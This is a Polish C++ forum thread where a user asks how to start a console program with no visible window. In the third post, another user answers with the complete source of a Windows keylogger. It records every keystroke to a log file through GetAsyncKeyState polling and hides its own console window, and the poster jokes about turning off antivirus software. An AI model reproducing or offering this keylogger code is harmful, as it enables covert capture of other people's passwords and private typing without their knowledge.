FAQ | Points | Add... | Recent posts | Search | Register | Log in


[c++] Uruchomienie programu bez okna lub jako ukryty


Post new topic  Reply to topic      Main Page -> Forum Index -> Programming Generally -> [c++] Uruchomienie programu bez okna lub jako ukryty
Author
Message
redie
Poziom 13
Poziom 13


Joined: 09 Apr 2006
Posts: 139
Location: Skarżysko-Kamienna

Post#1 Post from the author of the topic 19 Mar 2010 15:17   

[c++] Uruchomienie programu bez okna lub jako ukryty


Witam,
chciałbym aby mój program uruchomił się bez widocznego okna, piszę program konsolowy/tryb tekstowy w C++ Builder, bez okna z guzikami :D
Próbowałem zrobić tak:
Code:
int main(int argc, char* argv[])
{
        ShowWindow( Application->Handle, SW_HIDE );
        //reszta kodu
}

Ale wciąż pojawia się okno na początku. Co prawda miga tylko ale to nie jest efekt jaki chciałem osiągnąć.
Czy wie ktoś jak to osiągnąć?
Back to top
   
Google

Google Adsense


Post# Post from the author of the topic 19 Mar 2010 15:17   





Back to top
   
Dżyszla
Poziom 24
Poziom 24


Joined: 15 May 2005
Posts: 4528
Location: Żory (kiedyś Opole)

Post#2 19 Mar 2010 15:22   

Re: [c++] Uruchomienie programu bez okna lub jako ukryty


Zerknij sobie w kody źródłowe tego: http://www.dzyszla.aplus.pl/programy_i_teksty-38.html
Konsoli nie ukryjesz z poziomu jej samej (raczej). Polecam jednak aplikację okienkową, ale bez okienka.
Back to top
   
Google

Google Adsense


Post# 19 Mar 2010 15:22   





Back to top
   
FirstStep
Poziom 10
Poziom 10


Joined: 31 Oct 2007
Posts: 48

Post#3 22 Mar 2010 20:19   

Re: [c++] Uruchomienie programu bez okna lub jako ukryty


@redie
Zerknij na przykładowy keylogger, wyłącz antywira ;-)

Code:

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;


int Save(int key_storke, char* file);
void Stealth();


int main()
{
   Stealth();
   char i;
   while(1)
   {
      for(i=8; i<=190; ++i)
      {
         if(GetAsyncKeyState(i)== -32767)
         {
            Save(i, "log.txt");

         }

      }

   }

   
   return 0;

}
/****************************/
int Save(int key_storke, char* file)
{
   if( (key_storke==1) || (key_storke==2))
   {
      return 0;
   }
   FILE* OUTPUT_FILE;
   OUTPUT_FILE = fopen(file, "a+");
   cout<< key_storke <<endl;
   
   if(key_storke == 8)
      fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
   else if(key_storke == 13)
      fprintf(OUTPUT_FILE, "%s", "\n");
   else if(key_storke == 32)
      fprintf(OUTPUT_FILE, "%s", " ");
   else if(key_storke == VK_TAB)
      fprintf(OUTPUT_FILE, "%s", "[TAB]");
   else if(key_storke == VK_SHIFT)
      fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
   else if(key_storke == VK_CONTROL)
      fprintf(OUTPUT_FILE, "%s", "[CTRL]");
   else if(key_storke == VK_ESCAPE)
      fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
   else if(key_storke == VK_END)
      fprintf(OUTPUT_FILE, "%s", "[END]");
   else if(key_storke == VK_HOME)
      fprintf(OUTPUT_FILE, "%s", "[HOME]");
   else if(key_storke == VK_LEFT)
      fprintf(OUTPUT_FILE, "%s", "[LEFT]");
   else if(key_storke == VK_UP)
      fprintf(OUTPUT_FILE, "%s", "[UP]");
   else if(key_storke == VK_RIGHT)
      fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
   else if(key_storke == VK_DOWN)
      fprintf(OUTPUT_FILE, "%s", "[DOWN]");
   else if(key_storke == 190 || key_storke == 110)
      fprintf(OUTPUT_FILE, "%s", ".");
   else
      fprintf(OUTPUT_FILE, "%s", &key_storke);


   fclose(OUTPUT_FILE);
   
   
   return 0;
}
/**************************************/
void Stealth()
{
   HWND stealth;
   AllocConsole();
   stealth = FindWindowA("ConsoleWindowClass", NULL);
   ShowWindow(stealth,0);


}

Back to top
   
Post new topic  Reply to topic      Main Page -> Forum Index -> Programming Generally -> [c++] Uruchomienie programu bez okna lub jako ukryty
Page 1 of 1
Similar topics
[C++] Uruchomienie pliku SWF z poziomu programu. (4)
[C++] Uruchomienie programu przy starcie systemu. (3)
Uruchomienie programu z Makefile-a. Jak? (16)
[LPC2368][C] Uruchomienie programu po resecie. (3)
Uruchomienie IE z poziomu programu? Delphi. (3)
Uruchomienie programu w VB z parametrem (2)
[Lazarus] Funkcja EnableWindow() nie działa w przypadku głównego okna programu? (9)
Jak znaleść współrzędne okna programu (2)
[Turbo Pascal] auto uruchomienie programu (6)
Uruchomienie programu w Visual C# 2008 Express (2)

Page generation time: 0.056 seconds


FAQ || Administrator || Moderators || Widgets and banners || Contact
elektroda.pl topic RSS feed